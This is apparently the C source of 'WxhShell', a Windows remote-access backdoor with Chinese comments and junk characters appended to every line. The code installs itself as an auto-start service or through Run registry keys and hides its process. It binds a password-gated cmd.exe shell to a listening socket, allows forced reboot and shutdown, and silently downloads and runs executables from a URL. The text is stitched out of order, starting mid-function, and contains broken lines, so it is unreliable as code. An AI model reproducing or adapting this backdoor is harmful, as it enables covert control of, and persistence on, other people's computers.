    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \;B iq`  
    if(Boot(SHUTDOWN)) q"lSZ; 'E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?%Zc$\LW  
    else { 9s q  
    closesocket(wsh); dFB]~QEK  
    ExitThread(0); kS);xA8s]  
    } K\Wkoi5  
    break; "%w u2%i  
    } d7;um<%zn  
  // 获取shell m+[Ux{$  
  case 's': { 194)QeoFw  
    CmdShell(wsh); Ax7[;|2  
    closesocket(wsh); A}9`S6@@  
    ExitThread(0); gPI ?C76  
    break; 6<QQ@5_  
  } +~$ ]} %  
  // 退出 )Nw8O{\  
  case 'x': { j</: WRA`]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +7.',@8_V  
    CloseIt(wsh); 5|s\* bV`  
    break; T.BW H2gRP  
    } e X|m  
  // 离开 IOmfF[  
  case 'q': { 4Z&lYLq;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FcU SE  
    closesocket(wsh); X.{S*E:$u  
    WSACleanup(); \Gvm9M  
    exit(1); [RhO$c$[\  
    break; kn 4`Fa;)O  
        } !l8PDjAE  
  } +a+Om73B2  
  } dR,fXQm  
kdeWip6Y  
  // 提示信息 z Rr*7G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V**~m9f  
} sDlO#  
  } YU'E@t5  
nDxz~8  
  return; ?CPahU  
} $'M!HJxb  
5U$0F$BBp  
// shell模块句柄 +ye3HGD  
int CmdShell(SOCKET sock) "+G8d' %YV  
{ H*CW1([  
STARTUPINFO si; 0 M[EEw3  
ZeroMemory(&si,sizeof(si)); !%c\N8<>GD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %IWPM"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e(t\g^X  
PROCESS_INFORMATION ProcessInfo; /82b S|  
char cmdline[]="cmd"; /a4{?? #e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *z8\Lnv~k  
  return 0; 2P0*NQ   
} 0\P1; ak%  
s2'h  
// 自身启动模式 zK@@p+n_#.  
int StartFromService(void) 3 Za}b|  
{ h2d(?vOT  
typedef struct VMWf>ZU  
{ @K-">f  
  DWORD ExitStatus; *$g-:ILRuZ  
  DWORD PebBaseAddress; 4^:=xL  
  DWORD AffinityMask; X'iWJ8  
  DWORD BasePriority; k{-Cwo  
  ULONG UniqueProcessId; $=4QO  
  ULONG InheritedFromUniqueProcessId; DB,J3bm  
}   PROCESS_BASIC_INFORMATION; C?eH]hkZ3  
H4+i.*T#  
PROCNTQSIP NtQueryInformationProcess; 6=Otq=WH  
S)@j6(HC4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w\O;!1iU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I; rGD^  
=dN@Sa/  
  HANDLE             hProcess; nBYZ}L q  
  PROCESS_BASIC_INFORMATION pbi; =T7.~W  
uwGc@xOgg,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _H@DLhH|=  
  if(NULL == hInst ) return 0; 6D3B^.r j]  
7@W>E;go  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;aVZ"~a+\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r9?Mw06Wc5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & 1f+,  
jnwu9PQ  
  if (!NtQueryInformationProcess) return 0; La[V$+Y  
do'GlU oMC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FGzwhgy  
  if(!hProcess) return 0; 4#Jg9o   
q!@4~plz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =7UsVn#o  
%8v\FS  
  CloseHandle(hProcess); GTHt'[t@;  
3Jn ;}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8 L Cb+^  
if(hProcess==NULL) return 0; v`T c}c '  
iWR)ke  
HMODULE hMod; #KvlYZ+1  
char procName[255]; g<qaXv  
unsigned long cbNeeded; {P-):  
apn*,7ps65  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n+R7D.<q!!  
Q/Rqa5LI:  
  CloseHandle(hProcess); #w=~lq)9  
yB!dp;gM{  
if(strstr(procName,"services")) return 1; // 以服务启动 k;Y5BB  
/x *3}oI  
  return 0; // 注册表启动 E{vbO/|kf  
} K (|}dl:  
\Oo Wo  
// 主模块 7t3!) a|lI  
int StartWxhshell(LPSTR lpCmdLine) ~}Pfu  
{ % ] U  
  SOCKET wsl; |uJ%5y#  
BOOL val=TRUE; *n!J=yS  
  int port=0; _yT Ed"$  
  struct sockaddr_in door; ~.|_RdN  
vih9 KBT  
  if(wscfg.ws_autoins) Install(); E?@m?@*/  
5:?! =<=  
port=atoi(lpCmdLine); $:^td/p J  
7j{?aza  
if(port<=0) port=wscfg.ws_port; )Xak JU^o  
KgOqbSJ  
  WSADATA data; `m>*d!h=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pUq1|)g  
/X(t1+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V7[zAq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); , GY h9  
  door.sin_family = AF_INET; qT"Q1xU[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fpa ;^F  
  door.sin_port = htons(port); y[\VUzD*'  
wX[8A/JPD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HA`@7I  
closesocket(wsl); vj\dA2!~  
return 1; Y"Ql!5=  
} .k9{Yv0  
x~{;TZa[I  
  if(listen(wsl,2) == INVALID_SOCKET) { & )vC;$vD`  
closesocket(wsl); !{ )tSipd  
return 1; D <&X_  
} NqEA4C  
  Wxhshell(wsl); Jn3 An  
  WSACleanup(); %Gj8F4{  
c`WHNky%j  
return 0; 1~ t{aLPz  
>teO m?@U  
} ;D s46M-s  
{h2TD P  
// 以NT服务方式启动 (85Fv&a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Ib[82PU  
{ [],1lRYI9_  
DWORD   status = 0; !]fQ+*X0g  
  DWORD   specificError = 0xfffffff; 9,_mS{+B  
CI :`<PZ\-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E%v?t1>/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CQr<N w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4jBC9b}O  
  serviceStatus.dwWin32ExitCode     = 0; Ru>uL@w  
  serviceStatus.dwServiceSpecificExitCode = 0; P=+nB*hG  
  serviceStatus.dwCheckPoint       = 0; lGk{LO)  
  serviceStatus.dwWaitHint       = 0; Cc<,z*T  
/K{9OT@>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V$icWu  
  if (hServiceStatusHandle==0) return; VY"9?2?/  
E55t*^`  
status = GetLastError(); `S.ZS}~!F  
  if (status!=NO_ERROR) bY2 C]r(n  
{ NeBsv= [-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :%AL\ n  
    serviceStatus.dwCheckPoint       = 0; 1q3( @D5~+  
    serviceStatus.dwWaitHint       = 0; p=B>~CH  
    serviceStatus.dwWin32ExitCode     = status; ~-t>z  
    serviceStatus.dwServiceSpecificExitCode = specificError; V&|Ed  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Clh] ;K  
    return; { "xln/  
  } X3:XTuV   
}^*F59>H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #nO|A\N  
  serviceStatus.dwCheckPoint       = 0; Za7q$7F7Bc  
  serviceStatus.dwWaitHint       = 0; ,\d6VBP&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >'5_Y]h4m|  
} ~h=X8-D  
9lj!C '  
// 处理NT服务事件,比如:启动、停止 |U k" {  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]cC[-F[  
{ M9f?q.Bv  
switch(fdwControl) pdb1GDl0q  
{ )wtaKF.-  
case SERVICE_CONTROL_STOP: 16EVl~LN  
  serviceStatus.dwWin32ExitCode = 0; \WrFqm#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; deeU@x`f<  
  serviceStatus.dwCheckPoint   = 0; \[>9UC%  
  serviceStatus.dwWaitHint     = 0; =GBI0&U  
  { Lru-u:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EQIo5  
  } .E~(h*NW  
  return; q7m6&2$[  
case SERVICE_CONTROL_PAUSE: Ei3zBS?J)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $W42vjr4  
  break; ZC 4*{  
case SERVICE_CONTROL_CONTINUE: HXVBb%pP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LsGiu9~S  
  break; FNQX7O52  
case SERVICE_CONTROL_INTERROGATE: .LRxP#B  
  break; !lmWb-v%36  
}; =AEz9d ciS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rf9_eP  
} *Sf -; U  
O^I[ (8Y8  
// 标准应用程序主函数 l0Ti Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JH]K/sC>  
{ Lx U={Y0  
_0 snAt^iC  
// 获取操作系统版本 hc$@J}`  
OsIsNt=GetOsVer(); >7U>Yh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7W9d6i)  
kF V7l  
  // 从命令行安装 t.hm9}UQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?vGf fMm  
kDYN>``biP  
  // 下载执行文件 w*w?S  
if(wscfg.ws_downexe) { +>g`m)?p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [$(R#tZ+  
  WinExec(wscfg.ws_filenam,SW_HIDE); ftavbNR`W  
} 3Gr&p6  
"x&C5l}n  
if(!OsIsNt) { ;;gK@?hJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 i(wgB\9i4  
HideProc(); y9;#1:ic  
StartWxhshell(lpCmdLine); VzRx%j/i  
} )06iV  
else 9<]a!:!^  
  if(StartFromService()) lZt(&^T  
  // 以服务方式启动 <3O T>E[  
  StartServiceCtrlDispatcher(DispatchTable); P8gX CX!>U  
else TQ1WVq }*  
  // 普通方式启动 #G,XDW2"w  
  StartWxhshell(lpCmdLine); mf|pNiQ,  
g "!\\:M  
return 0; ;? uC=o>Z{  
} r7!J&8;{K  
_b4fS'[  
 D\T!4q'Q  
WA.\*Nqze  
=========================================== EH+~].PJd  
r.FLGD U  
5>ST"l_ca  
$)e:8jS=  
L,-u.vV  
d\XRUO[  
" C'9 1d7E  
%XXkVK`  
#include <stdio.h> f@:CyB GQ  
#include <string.h> {B yn{?w  
#include <windows.h> de-0?6  
#include <winsock2.h> U?U(;nSR\A  
#include <winsvc.h> <e6=% 9  
#include <urlmon.h> Q59/ex  
g^o_\ hp  
#pragma comment (lib, "Ws2_32.lib") j=.g :&r)  
#pragma comment (lib, "urlmon.lib") ?'~;Q)  
t,vTAq.))  
#define MAX_USER   100 // 最大客户端连接数 Y%v P#>h  
#define BUF_SOCK   200 // sock buffer a0zG(7.D  
#define KEY_BUFF   255 // 输入 buffer 3GmK3uM  
Yn[x #DS  
#define REBOOT     0   // 重启 T~Yg5J  
#define SHUTDOWN   1   // 关机 ~440# kj<  
&9ki O  
#define DEF_PORT   5000 // 监听端口 ye r> x  
=O^7TrM  
#define REG_LEN     16   // 注册表键长度 :2q ?>\  
#define SVC_LEN     80   // NT服务名长度 ( ji_o^  
Ry%YM,K3  
// 从dll定义API BpXEK.Xw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p6blD-v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c=t*I0-OVS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A. Nz_!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j-P^Zv};u  
V/UB9)i+  
// wxhshell配置信息 t61'LCEis  
struct WSCFG { H*qD: N  
  int ws_port;         // 监听端口 $T)d!$  
  char ws_passstr[REG_LEN]; // 口令 ~ iT{8  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3Bd4 C]E  
  char ws_regname[REG_LEN]; // 注册表键名 fle0c^=  
  char ws_svcname[REG_LEN]; // 服务名 ag/u8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 chwh0J;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  ,(hY%M&\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u-/3(dKt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :+pPr Gj"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lWl-@ *'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M7H~;S\3IM  
kOM-  
}; ?hSha)1:  
?lG;,,jc,W  
// default Wxhshell configuration Hrv),Ce  
struct WSCFG wscfg={DEF_PORT, rH^/8|}&s  
    "xuhuanlingzhe", @S}|Ccfc_  
    1, IgiqFV {  
    "Wxhshell", :,=Fx</H  
    "Wxhshell", K-Y* T}?  
            "WxhShell Service", E#~2wqK  
    "Wrsky Windows CmdShell Service", QW:Z[?39^  
    "Please Input Your Password: ", HU.1":.;  
  1, 3\9][S-B  
  "http://www.wrsky.com/wxhshell.exe", I9s$bRbT  
  "Wxhshell.exe" RQJ9MG w  
    }; c( 8W8R  
Lj-{t% }  
// 消息定义模块 Ty iU1,oO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _PdAN= C3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I]UA0[8X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v @_?iC"`  
char *msg_ws_ext="\n\rExit."; |<2JQ[]  
char *msg_ws_end="\n\rQuit."; ^8U6"O6|X  
char *msg_ws_boot="\n\rReboot..."; kOzt"t&  
char *msg_ws_poff="\n\rShutdown..."; t;~-_{  
char *msg_ws_down="\n\rSave to "; t"#lnG!G  
\ 6jF{  
char *msg_ws_err="\n\rErr!"; zVn*!c  
char *msg_ws_ok="\n\rOK!"; jS}'cm-  
zZw@c?  
char ExeFile[MAX_PATH]; Hm<M@M$aG  
int nUser = 0; 7j{Te)"  
HANDLE handles[MAX_USER]; rQuOt  
int OsIsNt; 5]Z]j[8Y  
} pSt@3o,  
SERVICE_STATUS       serviceStatus; \Z8Y(]6*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +&zb^C`J  
nEuct4BcL}  
// 函数声明 jm~mhAE#  
int Install(void); CJtr0M<U+  
int Uninstall(void); Y# .6d  
int DownloadFile(char *sURL, SOCKET wsh); 9O2a | d  
int Boot(int flag); R\i]O  
void HideProc(void); HK=CP0H  
int GetOsVer(void); sL;z"N@PK  
int Wxhshell(SOCKET wsl); c@)pKi#W  
void TalkWithClient(void *cs); YGi/]^Nba  
int CmdShell(SOCKET sock); Fj36K6!#?  
int StartFromService(void); yg.\^C  
int StartWxhshell(LPSTR lpCmdLine); QJniM"8v  
FDZeIj9uF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =ulr_i%Xs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4/ 0/#G#j  
Bl:{p>-q  
// 数据结构和表定义 LJ:mJ#  
SERVICE_TABLE_ENTRY DispatchTable[] = _?*rtDzIM  
{ 19pND m2H1  
{wscfg.ws_svcname, NTServiceMain}, 0:PH[\Z  
{NULL, NULL} ?T$*5d  
}; ~k"eE V p  
wGZ>iLe:  
// 自我安装 &T5f H!?4  
int Install(void) )<m=YI ;<  
{ ^/ULh,w!fP  
  char svExeFile[MAX_PATH]; YY1{v?[  
  HKEY key; #3AYz82w  
  strcpy(svExeFile,ExeFile); )ylv(qgV  
\a9D[wk;@  
// 如果是win9x系统,修改注册表设为自启动 MxFt;GgE8  
if(!OsIsNt) { >F_qa=t%[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .eZPp~[lAN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `lH1IA/3  
  RegCloseKey(key); ,k`YDy|#e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a 5~G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d;*OO xQV  
  RegCloseKey(key); :e5:\|5*5  
  return 0; {PP ^Rb)  
    } tIc0S!H#  
  } tU-#pB>H  
} {66Q" H"I  
else { 6:SK{RSURC  
Y`E {E|J  
// 如果是NT以上系统,安装为系统服务 N{0+C?{_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gdkLPZ<<  
if (schSCManager!=0) ]x5(bnW x  
{ BXKlO(7  
  SC_HANDLE schService = CreateService <s59OdzP  
  ( lN*1zM<6;  
  schSCManager, wz|Q%.%?[  
  wscfg.ws_svcname, ?[NTw./'7A  
  wscfg.ws_svcdisp, *_<SWTE  
  SERVICE_ALL_ACCESS, >Rz#g*@E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n9mM5H47  
  SERVICE_AUTO_START, 4jq`No_  
  SERVICE_ERROR_NORMAL, 5Tcl<Y6l  
  svExeFile, f0N)N}y  
  NULL, [1Qk cR  
  NULL, etQx>U  
  NULL, Q T0IW(A  
  NULL, Ot4;,UZ  
  NULL OoU'86)  
  );  !z "a_  
  if (schService!=0) _dJVnC1 !  
  { inq4CGY  
  CloseServiceHandle(schService); Np5/lPb1  
  CloseServiceHandle(schSCManager); o q'J*6r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v"Ud mv"  
  strcat(svExeFile,wscfg.ws_svcname); yC&b-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p8}5x 2F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]w&?k:y>  
  RegCloseKey(key); \V!X& a  
  return 0; E-7a`S  
    } jmZ|b6  
  } #4|i@0n}D  
  CloseServiceHandle(schSCManager); )sz 2 9  
} pyb}ha  
} g)zn.]  
aLyhxmn ^)  
return 1; ]Pg?(lr6)  
} NIXcib"tG  
>R'VY "\  
// 自我卸载 \I o?ul}za  
int Uninstall(void) 41+E UMc  
{ "YdDaj</  
  HKEY key; fv 1!^CDia  
^F{)&#4  
if(!OsIsNt) { "< hx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zdpLAr  
  RegDeleteValue(key,wscfg.ws_regname); T\b";+!W  
  RegCloseKey(key); 4- ?`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^VLUZ  
  RegDeleteValue(key,wscfg.ws_regname); M$5%QM}  
  RegCloseKey(key); +h\W~muR  
  return 0; =LeVJGF  
  } 9rvxp;  
} yZPFo  
} 5 xzB1n8  
else { %imBGh  
%n`iA7j$W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s R0e&Y  
if (schSCManager!=0) ~D-OL* 2  
{ uD*s^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); />j+7ts  
  if (schService!=0) N~K)0RETn  
  { AB|VO4-?  
  if(DeleteService(schService)!=0) { " ih>T^|  
  CloseServiceHandle(schService); 'I01F:`  
  CloseServiceHandle(schSCManager); JV6U0$g_S  
  return 0; CR|&VxA  
  } }SvWC8  
  CloseServiceHandle(schService); Z=5}17kA  
  } r1H['{$  
  CloseServiceHandle(schSCManager); ;g)Fhdy!  
} ug3lMN4UX  
} z%gtV'  
lIc9, |FL  
return 1; &DhA$o"'  
} ZK_@.O+]  
,8-_=*  
// 从指定url下载文件 GbrPtu2{@V  
int DownloadFile(char *sURL, SOCKET wsh) zxmI/]3+/  
{ )LMuxj  
  HRESULT hr; 1?#p !;&  
char seps[]= "/";  rOf  
char *token; :W<,iqSCm  
char *file; "Ohpb!J9  
char myURL[MAX_PATH]; O0*L9C/Q  
char myFILE[MAX_PATH]; L-:L= snO  
oHFDg?Z`  
strcpy(myURL,sURL); Y\9*e5?`I3  
  token=strtok(myURL,seps); b0x0CMf  
  while(token!=NULL) &Or=_5Y`  
  { ,( kXF:  
    file=token; m~IWazj;A  
  token=strtok(NULL,seps); GyM%vGl 3  
  } ' oeg [  
+ d)~;I$  
GetCurrentDirectory(MAX_PATH,myFILE); r Q@o  
strcat(myFILE, "\\"); (GOrfr  
strcat(myFILE, file); +=04X F:  
  send(wsh,myFILE,strlen(myFILE),0); @X><lz  
send(wsh,"...",3,0); Pi sr&"A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c5+lm}R?  
  if(hr==S_OK) 6uE1&-:L  
return 0; !*. nR(>d  
else P\0%nyOG(%  
return 1; .wOLi Ms  
gbv[*R{<%  
} naCI55Wx  
G9":z|  
// 系统电源模块 { RX|  
int Boot(int flag) ]8nm9qmF<  
{ .vF< 3p|  
  HANDLE hToken; ]p.f*]  
  TOKEN_PRIVILEGES tkp; 0$Db@  
wyEgm:Vt  
  if(OsIsNt) { A;HKR4p;8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $5(%M8qmQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aq| [g  
    tkp.PrivilegeCount = 1; 5kZ yiC*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CPE F,,\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ghR]$SG  
if(flag==REBOOT) { mzR @P$:36  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O*CX@Ne  
  return 0; {!bJ.O l  
} u)]sJ1p  
else { ~}ZX^l&k{P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UimZ/\r  
  return 0; zQfxw?~A  
} 2Yjysn  
  } q)i(wEdUZ  
  else { +Z0E?,Oz  
if(flag==REBOOT) { {oeQK   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f^)nZ:~  
  return 0; [cs8/Q8+  
} n\DT0E]  
else { 2b` M(QL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ot<!YM  
  return 0; $X]v;B)J|  
} X*) :N]  
} EmoU7iy  
DYl{{L8@  
return 1; /T'nY{  
} {<BK@U  
\./2Qc,  
// win9x进程隐藏模块 \Nyxi7  
void HideProc(void) _9 O'  
{ mmK_xu~f28  
xq*yZ5:5Jo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  e n":  
  if ( hKernel != NULL ) 9?6$ 2I  
  { -*r';Mz;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ir?9{t/()  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IGQ8-#=  
    FreeLibrary(hKernel); KgS xF#  
  } go5!zSs  
=? aB@&  
return; +y(h/NcQ  
} 4!|ar?Zy  
PS1~6f"D  
// 获取操作系统版本 YT8`Vz$+  
int GetOsVer(void) 2G;d2LR:  
{ w5\)di  
  OSVERSIONINFO winfo; 9$i`B>C~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A/aQpEb%  
  GetVersionEx(&winfo); 0<k!F3=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h^,a 1'  
  return 1; x N)Ck76  
  else ( PlNaasV  
  return 0; 5Bk  
} voEc'JET  
wl9icrR>  
// 客户端句柄模块 6 [E"  
int Wxhshell(SOCKET wsl) 3\ed4D  
{ G= e[TR)i  
  SOCKET wsh;  v<W++X7z  
  struct sockaddr_in client; [j39A`t7 o  
  DWORD myID; 39#>C~BOl  
eNb =`  
  while(nUser<MAX_USER) Y.J$f<[R  
{ Gx($q;8  
  int nSize=sizeof(client); e +U o-CO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g^FH[(P[G  
  if(wsh==INVALID_SOCKET) return 1; P])O\<)J  
C/G[B?:h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $-73}[UA 4  
if(handles[nUser]==0) \)*qW[C$a  
  closesocket(wsh); %3wK.tR  
else iDr0_y*t  
  nUser++; `N+ P ,  
  } t[Q\T0E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _nUuiB>  
/2(F  
  return 0; F44")fY  
} v80 e]M!  
gO%3~f!vY#  
// 关闭 socket ; V8 =B8w  
void CloseIt(SOCKET wsh) vSh)r 9  
{ c9V'Zd#  
closesocket(wsh); qM'5cxe  
nUser--; lx SGvvP4  
ExitThread(0); b.(^CYYQ  
} wuCODz@~  
nm..$QL  
// 客户端请求句柄 Rd/!CJ@g  
void TalkWithClient(void *cs) S3w? X  
{ n7vi@^lf(  
uP:'e8  
  SOCKET wsh=(SOCKET)cs; Jh1fM`kB5K  
  char pwd[SVC_LEN]; .vg;K@{  
  char cmd[KEY_BUFF]; u-,=C/iU  
char chr[1]; c{[WOrA~#  
int i,j; f`cO5lP/:)  
*"wsMO  
  while (nUser < MAX_USER) { WD<M U ]  
kq+L63fZ  
if(wscfg.ws_passstr) { > ewcD{bt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X(~NpLR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CKK8 o9W  
  //ZeroMemory(pwd,KEY_BUFF); K7|BXGL8r8  
      i=0; U<$|ET'  
  while(i<SVC_LEN) { %VgR *  
{.v+ iSM  
  // 设置超时 Ad[-YT  
  fd_set FdRead; w5p+Yx=q  
  struct timeval TimeOut; I?gbu@o  
  FD_ZERO(&FdRead); ;TYkJH"  
  FD_SET(wsh,&FdRead); `J;_!~:  
  TimeOut.tv_sec=8; /}Max@.`  
  TimeOut.tv_usec=0; c(fwl`y !x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B--`=@IRf"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \7RP6o  
wNn6".S   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (c;$^xZK  
  pwd=chr[0]; >5\rU[H>  
  if(chr[0]==0xd || chr[0]==0xa) { r!+)U#8  
  pwd=0; |2Q;SaI^\  
  break; LaRY#9  
  } :%R3( &  
  i++; |#k1a:  
    } |,o!O39}>  
Y:O%xtGi  
  // 如果是非法用户,关闭 socket uv,t(a.^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vb# d%1b5  
} =KkHck33  
>Py=H+d!j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^j@,N&W:lG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \\_Qv  
"[76>\'H  
while(1) { Y>r9"X| &H  
dLLF#N  
  ZeroMemory(cmd,KEY_BUFF); N/(&&\3  
{$b]K-B  
      // 自动支持客户端 telnet标准   {JMFCc[  
  j=0; Pl U!-7  
  while(j<KEY_BUFF) { 2%QY~Ku~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7Kp*He)  
  cmd[j]=chr[0]; C]82Mt  
  if(chr[0]==0xa || chr[0]==0xd) { ^J?I-LG  
  cmd[j]=0; {/N4/gu  
  break; _&P![o)x  
  } \59+JLmP4  
  j++; G0^NkH,k  
    } k/Z}nz   
.Um.dXBYU  
  // 下载文件 lCDXFy(E  
  if(strstr(cmd,"http://")) { M(xd:Fa?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '~2;WF0h  
  if(DownloadFile(cmd,wsh)) w[t!?(![>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r/SV.` k  
  else Z':}ZXy]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "YM)bc  
  } y]yp8Bs+  
  else { 7*`cWT_X  
wpO-cJ!,  
